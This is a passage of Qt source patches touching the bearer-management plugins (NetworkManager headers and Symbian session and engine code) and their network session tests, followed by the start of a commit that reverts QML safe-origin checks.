--- a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h @@ -215,7 +215,7 @@ public: Q_DECLARE_FLAGS(ApSecurityFlags, ApSecurityFlag); - QNetworkManagerInterfaceAccessPoint(const QString &dbusPathName, QObject *parent = 0); + explicit QNetworkManagerInterfaceAccessPoint(const QString &dbusPathName, QObject *parent = 0); ~QNetworkManagerInterfaceAccessPoint(); QDBusInterface *connectionInterface() const; @@ -248,7 +248,7 @@ class QNetworkManagerInterfaceDevice : public QObject public: - QNetworkManagerInterfaceDevice(const QString &deviceObjectPath, QObject *parent = 0); + explicit QNetworkManagerInterfaceDevice(const QString &deviceObjectPath, QObject *parent = 0); ~QNetworkManagerInterfaceDevice(); QString udi() const; @@ -277,7 +277,8 @@ class QNetworkManagerInterfaceDeviceWired : public QObject public: - QNetworkManagerInterfaceDeviceWired(const QString &ifaceDevicePath, QObject *parent = 0); + explicit QNetworkManagerInterfaceDeviceWired(const QString &ifaceDevicePath, + QObject *parent = 0); ~QNetworkManagerInterfaceDeviceWired(); QDBusInterface *connectionInterface() const; @@ -311,7 +312,8 @@ public: Rsn = 0x20 }; - QNetworkManagerInterfaceDeviceWireless(const QString &ifaceDevicePath, QObject *parent = 0); + explicit QNetworkManagerInterfaceDeviceWireless(const QString &ifaceDevicePath, + QObject *parent = 0); ~QNetworkManagerInterfaceDeviceWireless(); QDBusObjectPath path() const; @@ -342,7 +344,7 @@ class QNetworkManagerSettings : public QObject public: - QNetworkManagerSettings(const QString &settingsService, QObject *parent = 0); + explicit QNetworkManagerSettings(const QString &settingsService, QObject *parent = 0); ~QNetworkManagerSettings(); QDBusInterface *connectionInterface() const; @@ -402,7 +404,7 @@ public: Activated = 2 }; - QNetworkManagerConnectionActive(const QString &dbusPathName, QObject *parent = 0); + explicit QNetworkManagerConnectionActive(const QString &dbusPathName, QObject *parent = 0); ~ QNetworkManagerConnectionActive(); QDBusInterface *connectionInterface() const; @@ -430,7 +432,7 @@ class QNetworkManagerIp4Config : public QObject Q_OBJECT public: - QNetworkManagerIp4Config(const QString &dbusPathName, QObject *parent = 0); + explicit QNetworkManagerIp4Config(const QString &dbusPathName, QObject *parent = 0); ~QNetworkManagerIp4Config(); QStringList domains() const; diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp index 0737942..8910efe 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp +++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp @@ -241,15 +241,24 @@ void QNetworkSessionPrivateImpl::open() // => RConnection::ProgressNotification will be used for IAP/SNAP monitoring iConnectionMonitor.CancelNotifications(); - // Configuration must be at least in Discovered - state for connecting purposes. - if ((publicConfig.state() & QNetworkConfiguration::Discovered) != - QNetworkConfiguration::Discovered) { + // Configuration may have been invalidated after session creation by platform + // (e.g. configuration has been deleted). + if (!publicConfig.isValid()) { newState(QNetworkSession::Invalid); iError = QNetworkSession::InvalidConfigurationError; emit QNetworkSessionPrivate::error(iError); syncStateWithInterface(); return; } + // If opening a (un)defined configuration, session emits error and enters + // NotAvailable -state. + if (publicConfig.state() == QNetworkConfiguration::Undefined || + publicConfig.state() == QNetworkConfiguration::Defined) { + newState(QNetworkSession::NotAvailable); + iError = QNetworkSession::InvalidConfigurationError; + emit QNetworkSessionPrivate::error(iError); + return; + } TInt error = iSocketServ.Connect(); if (error != KErrNone) { @@ -450,15 +459,49 @@ void QNetworkSessionPrivateImpl::close(bool allowSignals) void QNetworkSessionPrivateImpl::stop() { - if (!isOpen) { - return; + if (!isOpen && + publicConfig.isValid() && + publicConfig.type() == QNetworkConfiguration::InternetAccessPoint) { + // If the publicConfig is type of IAP, enumerate through connections at + // connection monitor. If publicConfig is active in that list, stop it. + // Otherwise there is nothing to stop. Note: because this QNetworkSession is not open, + // activeConfig is not usable. + TUint count; + TRequestStatus status; + iConnectionMonitor.GetConnectionCount(count, status); + User::WaitForRequest(status); + if (status.Int() != KErrNone) { + return; + } + TUint numSubConnections; // Not used but needed by GetConnectionInfo i/f + TUint connectionId; + for (TInt i = 1; i <= count; ++i) { + // Get (connection monitor's assigned) connection ID + TInt ret = iConnectionMonitor.GetConnectionInfo(i, connectionId, numSubConnections); + if (ret == KErrNone) { + SymbianNetworkConfigurationPrivate *symbianConfig = + toSymbianConfig(privateConfiguration(publicConfig)); + + QMutexLocker configLocker(&symbianConfig->mutex); + + // See if connection Id matches with our Id. If so, stop() it. + if (symbianConfig->connectionId == connectionId) { + ret = iConnectionMonitor.SetBoolAttribute(connectionId, + 0, // subConnectionId don't care + KConnectionStop, + ETrue); + } + } + } + } else if (isOpen) { + // Since we are open, use RConnection to stop the interface + isOpen = false; + newState(QNetworkSession::Closing); + iConnection.Stop(RConnection::EStopAuthoritative); + isOpen = true; + close(false); + emit closed(); } - isOpen = false; - newState(QNetworkSession::Closing); - iConnection.Stop(RConnection::EStopAuthoritative); - isOpen = true; - close(false); - emit closed(); } void QNetworkSessionPrivateImpl::migrate() @@ -794,7 +837,7 @@ void QNetworkSessionPrivateImpl::RunL() TInt statusCode = iStatus.Int(); switch (statusCode) { - case KErrNone: // Connection created succesfully + case KErrNone: // Connection created successfully { TInt error = KErrNone; QNetworkConfiguration newActiveConfig = activeConfiguration(); diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.h b/src/plugins/bearer/symbian/qnetworksession_impl.h index 98d4222..35e2c58 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.h +++ b/src/plugins/bearer/symbian/qnetworksession_impl.h @@ -72,12 +72,11 @@ QT_BEGIN_NAMESPACE class ConnectionProgressNotifier; class SymbianEngine; +class QNetworkSessionPrivateImpl : public QNetworkSessionPrivate, public CActive, #ifdef SNAP_FUNCTIONALITY_AVAILABLE -class QNetworkSessionPrivateImpl : public QNetworkSessionPrivate, public CActive, public MMobilityProtocolResp, - public MConnectionMonitorObserver -#else -class QNetworkSessionPrivateImpl : public QNetworkSessionPrivate, public CActive, public MConnectionMonitorObserver + public MMobilityProtocolResp, #endif + public MConnectionMonitorObserver { Q_OBJECT public: diff --git a/src/plugins/bearer/symbian/symbianengine.cpp b/src/plugins/bearer/symbian/symbianengine.cpp index 4d65b80..440f463 100644 --- a/src/plugins/bearer/symbian/symbianengine.cpp +++ b/src/plugins/bearer/symbian/symbianengine.cpp @@ -45,6 +45,16 @@ #include #include #include +#include +#include +#include // For randgen seeding +#include // For randgen seeding + +// #define QT_BEARERMGMT_CONFIGMGR_DEBUG + +#ifdef QT_BEARERMGMT_CONFIGMGR_DEBUG +#include +#endif #ifdef SNAP_FUNCTIONALITY_AVAILABLE #include @@ -100,10 +110,15 @@ QString SymbianNetworkConfigurationPrivate::bearerName() const } SymbianEngine::SymbianEngine(QObject *parent) -: QBearerEngine(parent), CActive(CActive::EPriorityIdle), iFirstUpdate(true), iInitOk(true) +: QBearerEngine(parent), CActive(CActive::EPriorityIdle), iFirstUpdate(true), iInitOk(true), + iIgnoringUpdates(false), iTimeToWait(0), iIgnoreEventLoop(0) { CActiveScheduler::Add(this); + // Seed the randomgenerator + qsrand(QTime(0,0,0).secsTo(QTime::currentTime()) + QCoreApplication::applicationPid()); + iIgnoreEventLoop = new QEventLoop(this); + TRAPD(error, ipCommsDB = CCommsDatabase::NewL(EDatabaseTypeIAP)); if (error != KErrNone) { iInitOk = false; @@ -138,9 +153,7 @@ SymbianEngine::SymbianEngine(QObject *parent) updateConfigurations(); updateStatesToSnaps(); - updateAvailableAccessPoints(); // On first time updates synchronously (without WLAN scans) - // Start monitoring IAP and/or SNAP changes in Symbian CommsDB startCommsDatabaseNotifications(); iFirstUpdate = false; @@ -231,7 +244,7 @@ void SymbianEngine::updateConfigurationsL() QList knownConfigs = accessPointConfigurations.keys(); QList knownSnapConfigs = snapConfigurations.keys(); - + #ifdef SNAP_FUNCTIONALITY_AVAILABLE // S60 version is >= Series60 3rd Edition Feature Pack 2 TInt error = KErrNone; @@ -738,8 +751,7 @@ void SymbianEngine::updateStatesToSnaps() QMutexLocker locker(&mutex); // Go through SNAPs and set correct state to SNAPs - QList snapConfigIdents = snapConfigurations.keys(); - foreach (QString iface, snapConfigIdents) { + foreach (const QString &iface, snapConfigurations.keys()) { bool discovered = false; bool active = false; QNetworkConfigurationPrivatePointer ptr = snapConfigurations.value(iface); @@ -874,6 +886,13 @@ void SymbianEngine::RunL() { QMutexLocker locker(&mutex); + if (iIgnoringUpdates) { +#ifdef QT_BEARERMGMT_CONFIGMGR_DEBUG + qDebug("CommsDB event handling postponed (postpone-timer running because IAPs/SNAPs were updated very recently)."); +#endif + return; + } + if (iStatus != KErrCancel) { RDbNotifier::TEvent event = STATIC_CAST(RDbNotifier::TEvent, iStatus.Int()); switch (event) { @@ -881,16 +900,32 @@ void SymbianEngine::RunL() case RDbNotifier::ECommit: /** A transaction has been committed. */ case RDbNotifier::ERollback: /** A transaction has been rolled back */ case RDbNotifier::ERecover: /** The database has been recovered */ - // Note that if further database events occur while a client is handling - // a request completion, the notifier records the most significant database - // event and this is signalled as soon as the client issues the next - // RequestNotification() request. - // => Stop recording notifications - stopCommsDatabaseNotifications(); - TRAPD(error, updateConfigurationsL()); - if (error == KErrNone) { - updateStatesToSnaps(); +#ifdef QT_BEARERMGMT_CONFIGMGR_DEBUG + qDebug("CommsDB event (of type RDbNotifier::TEvent) received: %d", iStatus.Int()); +#endif + iIgnoringUpdates = true; + // Other events than ECommit get lower priority. In practice with those events, + // we delay_before_updating methods, whereas + // with ECommit we _update_before_delaying the reaction to next event. + // Few important notes: 1) listening to only ECommit does not seem to be adequate, + // but updates will be missed. Hence other events are reacted upon too. + // 2) RDbNotifier records the most significant event, and that will be returned once + // we issue new RequestNotification, and hence updates will not be missed even + // when we are 'not reacting to them' for few seconds. + if (event == RDbNotifier::ECommit) { + TRAPD(error, updateConfigurationsL()); + if (error == KErrNone) { + updateStatesToSnaps(); + } + waitRandomTime(); + } else { + waitRandomTime(); + TRAPD(error, updateConfigurationsL()); + if (error == KErrNone) { + updateStatesToSnaps(); + } } + iIgnoringUpdates = false; // Wait time done, allow updating again iWaitingCommsDatabaseNotifications = true; break; default: @@ -1015,6 +1050,20 @@ void SymbianEngine::EventL(const CConnMonEventBase& aEvent) } } +// Waits for 1..4 seconds. +void SymbianEngine::waitRandomTime() +{ + iTimeToWait = (qAbs(qrand()) % 5) * 1000; + if (iTimeToWait < 1000) { + iTimeToWait = 1000; + } +#ifdef QT_BEARERMGMT_CONFIGMGR_DEBUG + qDebug("QNetworkConfigurationManager waiting random time: %d ms", iTimeToWait); +#endif + QTimer::singleShot(iTimeToWait, iIgnoreEventLoop, SLOT(quit())); + iIgnoreEventLoop->exec(); +} + QNetworkConfigurationPrivatePointer SymbianEngine::dataByConnectionId(TUint aConnectionId) { QMutexLocker locker(&mutex); diff --git a/src/plugins/bearer/symbian/symbianengine.h b/src/plugins/bearer/symbian/symbianengine.h index e6af908..2e7ae60 100644 --- a/src/plugins/bearer/symbian/symbianengine.h +++ b/src/plugins/bearer/symbian/symbianengine.h @@ -53,6 +53,7 @@ #endif class CCommsDatabase; +class QEventLoop; QT_BEGIN_NAMESPACE class QTimer; @@ -148,6 +149,7 @@ private: void accessPointScanningReady(TBool scanSuccessful, TConnMonIapInfo iapInfo); void startCommsDatabaseNotifications(); void stopCommsDatabaseNotifications(); + void waitRandomTime(); QNetworkConfigurationPrivatePointer defaultConfigurationL(); TBool GetS60PlatformVersion(TUint& aMajor, TUint& aMinor) const; @@ -170,8 +172,10 @@ private: // Data TBool iOnline; TBool iInitOk; TBool iUpdateGoingOn; + TBool iIgnoringUpdates; + TUint iTimeToWait; + QEventLoop* iIgnoreEventLoop; - AccessPointsAvailabilityScanner* ipAccessPointsAvailabilityScanner; friend class QNetworkSessionPrivate; diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp index 4b56f77..c08120c 100644 --- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp +++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include "../../qbearertestcommon.h" #include #include @@ -53,6 +54,9 @@ QT_USE_NAMESPACE +// Can be used to configure tests that require manual attention (such as roaming) +//#define QNETWORKSESSION_MANUAL_TESTS 1 + Q_DECLARE_METATYPE(QNetworkConfiguration) Q_DECLARE_METATYPE(QNetworkConfiguration::Type); Q_DECLARE_METATYPE(QNetworkSession::State); @@ -75,6 +79,9 @@ private slots: void repeatedOpenClose(); void roamingErrorCodes(); + + void sessionStop_data(); + void sessionStop(); void sessionProperties_data(); void sessionProperties(); @@ -106,6 +113,7 @@ private: // Helper functions bool openSession(QNetworkSession *session); bool closeSession(QNetworkSession *session, bool lastSessionOnConfiguration = true); +void updateConfigurations(); QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfiguration::Type configType); void tst_QNetworkSession::initTestCase() @@ -226,14 +234,13 @@ void tst_QNetworkSession::cleanupTestCase() void tst_QNetworkSession::invalidSession() { - // Verify that session created with invalid configuration remains in invalid state + // 1. Verify that session created with invalid configuration remains in invalid state QNetworkSession session(QNetworkConfiguration(), 0); QVERIFY(!session.isOpen()); QVERIFY(session.state() == QNetworkSession::Invalid); QVERIFY(session.error() == QNetworkSession::InvalidConfigurationError); - // Verify that opening session with invalid configuration both 1) emits invalidconfigurationerror - // and 2) sets session's state as invalid. + // 2. Verify that opening session with invalid configuration both 1) emits invalidconfigurationerror and 2) sets session's state as invalid. QSignalSpy errorSpy(&session, SIGNAL(error(QNetworkSession::SessionError))); session.open(); session.waitForOpened(1000); // Should bail out right away @@ -244,24 +251,56 @@ void tst_QNetworkSession::invalidSession() QVERIFY(session.error() == QNetworkSession::InvalidConfigurationError); QVERIFY(session.state() == QNetworkSession::Invalid); - // Check same thing with a config from platform (there are subtle differences - // because emtpy configuration does not have private pointer). Test with config - // in '(un)defined' state - QList allConfigs = manager.allConfigurations(); - foreach(QNetworkConfiguration config, allConfigs) { - if ((config.state() & QNetworkConfiguration::Discovered) != QNetworkConfiguration::Discovered) { - QNetworkSession session2(config); - QSignalSpy errorSpy2(&session2, SIGNAL(error(QNetworkSession::SessionError))); - session2.open(); - session2.waitForOpened(1000); // Should bail out right away - QVERIFY(errorSpy2.count() == 1); - QNetworkSession::SessionError error2 = - qvariant_cast (errorSpy2.first().at(0)); - QVERIFY(error2 == QNetworkSession::InvalidConfigurationError); - QVERIFY(session2.state() == QNetworkSession::Invalid); - break; // Once is enough - } +#ifdef QNETWORKSESSION_MANUAL_TESTS + QNetworkConfiguration definedConfig = suitableConfiguration("WLAN",QNetworkConfiguration::InternetAccessPoint); + if (definedConfig.isValid()) { + // 3. Verify that opening a session with defined configuration emits error and enters notavailable-state + // TODO these timer waits should be changed to waiting appropriate signals, now these wait excessively + qDebug() << "Shutdown WLAN IAP (waiting 60 seconds): " << definedConfig.name(); + QTest::qWait(60000); + // Shutting down WLAN should bring back to defined -state. + QVERIFY((definedConfig.state() & QNetworkConfiguration::Defined) == QNetworkConfiguration::Defined); + QNetworkSession definedSession(definedConfig); + QSignalSpy errorSpy(&definedSession, SIGNAL(error(QNetworkSession::SessionError))); + QNetworkSession::SessionError sessionError; + + definedSession.open(); + + QVERIFY(definedConfig.isValid()); // Session remains valid + QVERIFY(definedSession.state() == QNetworkSession::NotAvailable); // State is not available because WLAN is not in coverage + QVERIFY(!errorSpy.isEmpty()); // Session tells with error about invalidated configuration + sessionError = qvariant_cast (errorSpy.first().at(0)); + qDebug() << "Error code is: " << sessionError; + QVERIFY(sessionError == QNetworkSession::InvalidConfigurationError); + + qDebug() << "Turn the WLAN IAP back on (waiting 60 seconds): " << definedConfig.name(); + QTest::qWait(60000); + updateConfigurations(); + + QVERIFY(definedConfig.state() == QNetworkConfiguration::Discovered); } + + QNetworkConfiguration invalidatedConfig = suitableConfiguration("WLAN",QNetworkConfiguration::InternetAccessPoint); + if (invalidatedConfig.isValid()) { + // 4. Verify that invalidating a session after its successfully configured works + QNetworkSession invalidatedSession(invalidatedConfig); + QSignalSpy errorSpy(&invalidatedSession, SIGNAL(error(QNetworkSession::SessionError))); + QNetworkSession::SessionError sessionError; + + qDebug() << "Delete the WLAN IAP from phone now (waiting 60 seconds): " << invalidatedConfig.name(); + QTest::qWait(60000); + + invalidatedSession.open(); + QVERIFY(!invalidatedConfig.isValid()); + QVERIFY(invalidatedSession.state() == QNetworkSession::Invalid); + QVERIFY(!errorSpy.isEmpty()); + + sessionError = qvariant_cast (errorSpy.first().at(0)); + QVERIFY(sessionError == QNetworkSession::InvalidConfigurationError); + qDebug() << "Add the WLAN IAP back (waiting 60 seconds): " << invalidatedConfig.name(); + QTest::qWait(60000); + } +#endif } void tst_QNetworkSession::sessionProperties_data() @@ -382,7 +421,6 @@ void tst_QNetworkSession::repeatedOpenClose() { } void tst_QNetworkSession::roamingErrorCodes() { - #ifndef Q_OS_SYMBIAN QSKIP("Roaming supported on Symbian.", SkipAll); #else @@ -410,8 +448,9 @@ void tst_QNetworkSession::roamingErrorCodes() { QVERIFY(iapSession.state() == QNetworkSession::Disconnected); QVERIFY(adminIapSession.state() == QNetworkSession::Disconnected); #endif // Q_OS_SYMBIAN - /* - // Check for roaming error. Challenging to automate, therefore commented out. + +#ifdef QNETWORKSESSION_MANUAL_TESTS + // Check for roaming error. // Case requires that you have controllable WLAN in Internet SNAP (only). QNetworkConfiguration snapConfig = suitableConfiguration("bearer_not_relevant_with_snaps", QNetworkConfiguration::ServiceNetwork); if (!snapConfig.isValid()) { @@ -439,7 +478,144 @@ void tst_QNetworkSession::roamingErrorCodes() { error = qvariant_cast(errorSpy2.first().at(0)); QVERIFY(error == QNetworkSession::SessionAbortedError); QVERIFY(iapSession2.state() == QNetworkSession::Disconnected); - */ +#endif +} + + +void tst_QNetworkSession::sessionStop_data() { + QTest::addColumn("bearerType"); + QTest::addColumn("configurationType"); + + QTest::newRow("SNAP") << "bearer_type_not_relevant_with_SNAPs" << QNetworkConfiguration::ServiceNetwork; + QTest::newRow("WLAN_IAP") << "WLAN" << QNetworkConfiguration::InternetAccessPoint; + QTest::newRow("Cellular_IAP") << "cellular" << QNetworkConfiguration::InternetAccessPoint; +} + +void tst_QNetworkSession::sessionStop() +{ +#ifndef Q_OS_SYMBIAN + QSKIP("Testcase contains mainly Symbian specific checks, because it is only platform to really support interface (IAP-level) Stop.", SkipAll); +#endif + QFETCH(QString, bearerType); + QFETCH(QNetworkConfiguration::Type, configurationType); + + int configWaitdelayInMs = 2000; + + QNetworkConfiguration config = suitableConfiguration(bearerType, configurationType); + if (!config.isValid()) { + QSKIP("No suitable configurations, skipping this round of session stop test.", SkipSingle); + } + qDebug() << "Using following configuration to open and stop a session: " << config.name(); + + QNetworkSession openedSession(config); + QNetworkSession closedSession(config); + QNetworkSession innocentSession(config); + QNetworkConfigurationManager mgr; + + QSignalSpy closedSessionOpenedSpy(&closedSession, SIGNAL(opened())); + QSignalSpy closedSessionClosedSpy(&closedSession, SIGNAL(closed())); + QSignalSpy closedSessionStateChangedSpy(&closedSession, SIGNAL(stateChanged(QNetworkSession::State))); + QSignalSpy closedErrorSpy(&closedSession, SIGNAL(error(QNetworkSession::SessionError))); + + QSignalSpy innocentSessionClosedSpy(&innocentSession, SIGNAL(closed())); + QSignalSpy innocentSessionStateChangedSpy(&innocentSession, SIGNAL(stateChanged(QNetworkSession::State))); + QSignalSpy innocentErrorSpy(&innocentSession, SIGNAL(error(QNetworkSession::SessionError))); + QNetworkSession::SessionError sessionError; + + // 1. Verify that stopping an opened session works (the simplest usecase). + qDebug("----------1. Verify that stopping an opened session works (the simplest usecase)"); + QSignalSpy configChangeSpy(&mgr, SIGNAL(configurationChanged(QNetworkConfiguration))); + QVERIFY(openSession(&openedSession)); + qDebug("Waiting for %d ms to get all configurationChange signals from platform.", configWaitdelayInMs); + // Clear signals caused by opening + closedSessionOpenedSpy.clear(); + closedSessionClosedSpy.clear(); + closedSessionStateChangedSpy.clear(); + closedErrorSpy.clear(); + openedSession.stop(); + + QVERIFY(openedSession.state() == QNetworkSession::Disconnected); + QTest::qWait(configWaitdelayInMs); // Wait to get all relevant configurationChange() signals + QVERIFY(config.state() != QNetworkConfiguration::Active); + + // 2. Verify that stopping a session based on non-connected configuration does nothing + qDebug("----------2. Verify that stopping a session based on non-connected configuration does nothing"); + QNetworkSession::State closedSessionOriginalState = closedSession.state(); + // Clear all possible signals + configChangeSpy.clear(); + closedSessionOpenedSpy.clear(); + closedSessionClosedSpy.clear(); + closedSessionStateChangedSpy.clear(); + closedErrorSpy.clear(); + + closedSession.stop(); + qDebug("Waiting for %d ms to get all configurationChange signals from platform.", configWaitdelayInMs); + QTest::qWait(configWaitdelayInMs); // Wait to get all relevant configurationChange() signals + + QVERIFY(closedSessionOpenedSpy.isEmpty()); + QVERIFY(closedSessionClosedSpy.isEmpty()); + QVERIFY(closedSessionStateChangedSpy.isEmpty()); + QVERIFY(closedErrorSpy.isEmpty()); + QVERIFY(closedSession.state() == closedSessionOriginalState); // State remains + + // 3. Check that stopping a opened session affects also other opened session based on the same configuration. + if (config.type() == QNetworkConfiguration::InternetAccessPoint) { + qDebug("----------3. Check that stopping a opened session affects also other opened session based on the same configuration."); + QVERIFY(openSession(&openedSession)); + QVERIFY(openSession(&innocentSession)); + + configChangeSpy.clear(); + innocentSessionClosedSpy.clear(); + innocentSessionStateChangedSpy.clear(); + innocentErrorSpy.clear(); + + openedSession.stop(); + qDebug("Waiting for %d ms to get all configurationChange signals from platform.", configWaitdelayInMs); + QTest::qWait(configWaitdelayInMs); // Wait to get all relevant configurationChange() signals + + QVERIFY(!innocentSessionClosedSpy.isEmpty()); + QVERIFY(!innocentSessionStateChangedSpy.isEmpty()); + QVERIFY(!innocentErrorSpy.isEmpty()); + QVERIFY(innocentSession.state() == QNetworkSession::Disconnected); + QVERIFY(openedSession.state() == QNetworkSession::Disconnected); + sessionError = qvariant_cast(innocentErrorSpy.first().at(0)); + QVERIFY(sessionError == QNetworkSession::SessionAbortedError); + + innocentSessionClosedSpy.clear(); + innocentSessionStateChangedSpy.clear(); + innocentErrorSpy.clear(); + } else { + qDebug("----------3. Skip for SNAP configuration."); + } + // 4. Check that stopping a non-opened session stops the other session based on the + // same configuration if configuration is IAP. Stopping closed SNAP session has no impact on other opened SNAP session. + if (config.type() == QNetworkConfiguration::ServiceNetwork) { + qDebug("----------4. Skip for SNAP configuration."); + } else if (config.type() == QNetworkConfiguration::InternetAccessPoint) { + qDebug("----------4. Check that stopping a non-opened session stops the other session based on the same configuration"); + QVERIFY(openSession(&innocentSession)); + qDebug("Waiting for %d ms after open to make sure all platform indications are propagated", configWaitdelayInMs); + QTest::qWait(configWaitdelayInMs); + closedSession.stop(); + qDebug("Waiting for %d ms to get all configurationChange signals from platform..", configWaitdelayInMs); + QTest::qWait(configWaitdelayInMs); // Wait to get all relevant configurationChange() signals + + QVERIFY(!innocentSessionClosedSpy.isEmpty()); + QVERIFY(!innocentSessionStateChangedSpy.isEmpty()); + QVERIFY(!innocentErrorSpy.isEmpty()); + QVERIFY(innocentSession.state() == QNetworkSession::Disconnected); + QVERIFY(closedSession.state() == QNetworkSession::Disconnected); + sessionError = qvariant_cast(innocentErrorSpy.first().at(0)); + QVERIFY(sessionError == QNetworkSession::SessionAbortedError); + QVERIFY(config.state() == QNetworkConfiguration::Discovered); + } + + // 5. Sanity check that stopping invalid session does not crash + qDebug("----------5. Sanity check that stopping invalid session does not crash"); + QNetworkSession invalidSession(QNetworkConfiguration(), 0); + QVERIFY(invalidSession.state() == QNetworkSession::Invalid); + invalidSession.stop(); + QVERIFY(invalidSession.state() == QNetworkSession::Invalid); } void tst_QNetworkSession::userChoiceSession_data() @@ -796,14 +972,13 @@ void tst_QNetworkSession::sessionOpenCloseStop() state = qvariant_cast(stateChangedSpy.at(0).at(0)); if (state == QNetworkSession::Roaming) { QTRY_VERIFY(!errorSpy.isEmpty() || stateChangedSpy.count() > 1); - if (stateChangedSpy.count() > 1) { - state = qvariant_cast(stateChangedSpy.at(1).at(0)); - if (state == QNetworkSession::Connected) { - roamedSuccessfully = true; - QTRY_VERIFY(session2.state() == QNetworkSession::Disconnected); - } + if (stateChangedSpy.count() > 1 && + qvariant_cast(stateChangedSpy.at(1).at(0)) == + QNetworkSession::Connected) { + roamedSuccessfully = true; } } + if (roamedSuccessfully) { QString configId = session.sessionProperty("ActiveConfiguration").toString(); QNetworkConfiguration config = manager.configurationFromIdentifier(configId); @@ -838,8 +1013,9 @@ void tst_QNetworkSession::sessionOpenCloseStop() } QTRY_VERIFY(!sessionClosedSpy.isEmpty()); - QVERIFY(session.state() == QNetworkSession::Disconnected); - QVERIFY(session2.state() == QNetworkSession::Disconnected); + + QTRY_VERIFY(session.state() == QNetworkSession::Disconnected); + QTRY_VERIFY(session2.state() == QNetworkSession::Disconnected); } QVERIFY(errorSpy2.isEmpty()); @@ -1059,6 +1235,7 @@ void tst_QNetworkSession::outOfProcessSession() // Ignores configurations in other than 'discovered' -state. Returns invalid (QNetworkConfiguration()) // if none found. QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfiguration::Type configType) { + // Refresh configurations and derive configurations matching given parameters. QNetworkConfigurationManager mgr; QSignalSpy updateSpy(&mgr, SIGNAL(updateCompleted())); @@ -1099,6 +1276,15 @@ QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfigur } } +// A convinience-function: updates configurations and waits that they are updated. +void updateConfigurations() +{ + QNetworkConfigurationManager mgr; + QSignalSpy updateSpy(&mgr, SIGNAL(updateCompleted())); + mgr.updateConfigurations(); + QTRY_NOOP(updateSpy.count() == 1); +} + // A convinience function for test-cases: opens the given configuration and return // true if it was done gracefully. bool openSession(QNetworkSession *session) { @@ -1198,8 +1384,8 @@ bool closeSession(QNetworkSession *session, bool lastSessionOnConfiguration) { return false; } if (lastSessionOnConfiguration && - session->configuration().state() != QNetworkConfiguration::Discovered) { - qDebug("tst_QNetworkSession::closeSession() failure: session's configuration is not back in 'Discovered' -state."); + session->configuration().state() == QNetworkConfiguration::Active) { + qDebug("tst_QNetworkSession::closeSession() failure: session's configuration is still in active state."); return false; } return true; @@ -1270,4 +1456,3 @@ void tst_QNetworkSession::sessionAutoClose() QTEST_MAIN(tst_QNetworkSession) #include "tst_qnetworksession.moc" - -- cgit v0.12 From 562ff1d1fcb726932aa4483655aa0d4c6a9746f2 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 14:07:26 +1000 Subject: Revert 95aa8c8fc76e2309a629b05994a2677b0887140b. --- .../graphicsitems/qdeclarativeloader.cpp | 5 --- .../qml/qdeclarativecompositetypemanager.cpp | 13 ------- src/declarative/qml/qdeclarativecontext.cpp | 6 --- src/declarative/qml/qdeclarativecontext.h | 2 - src/declarative/qml/qdeclarativeengine.cpp | 27 -------------- src/declarative/qml/qdeclarativeengine.h | 2 - .../tst_qdeclarativelanguage.cpp | 43 +--------------------- .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 37 ------------------- 8 files changed, 1 insertion(+), 134 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index c06b006..0d62afa 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -187,11 +187,6 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) { - qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url.toString()).arg(qmlContext(this)->baseUrl().toString()); - return; - } - d->clear(); d->source = url; diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5160514..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -539,19 +539,6 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - if (imp.type != QDeclarativeScriptParser::Import::Library && !engine->isSafeOrigin(QUrl(imp.uri), unit->imports.baseUrl())) { - QDeclarativeError error; - error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("\"%1\" is not a safe origin").arg(imp.uri)); - error.setLine(imp.location.start.line); - error.setColumn(imp.location.start.column); - unit->status = QDeclarativeCompositeTypeData::Error; - unit->errorType = QDeclarativeCompositeTypeData::GeneralError; - unit->errors << error; - doComplete(unit); - return 0; - } - QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::Script) continue; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index f801a88..85896c4 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,12 +361,6 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } -bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const -{ - Q_D(const QDeclarativeContext); - return !d->data->engine || d->data->engine->isSafeOrigin(src, baseUrl()); -} - /*! Resolves the URL \a src relative to the URL of the containing component. diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index 959af8b..a349628 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,8 +85,6 @@ public: void setBaseUrl(const QUrl &); QUrl 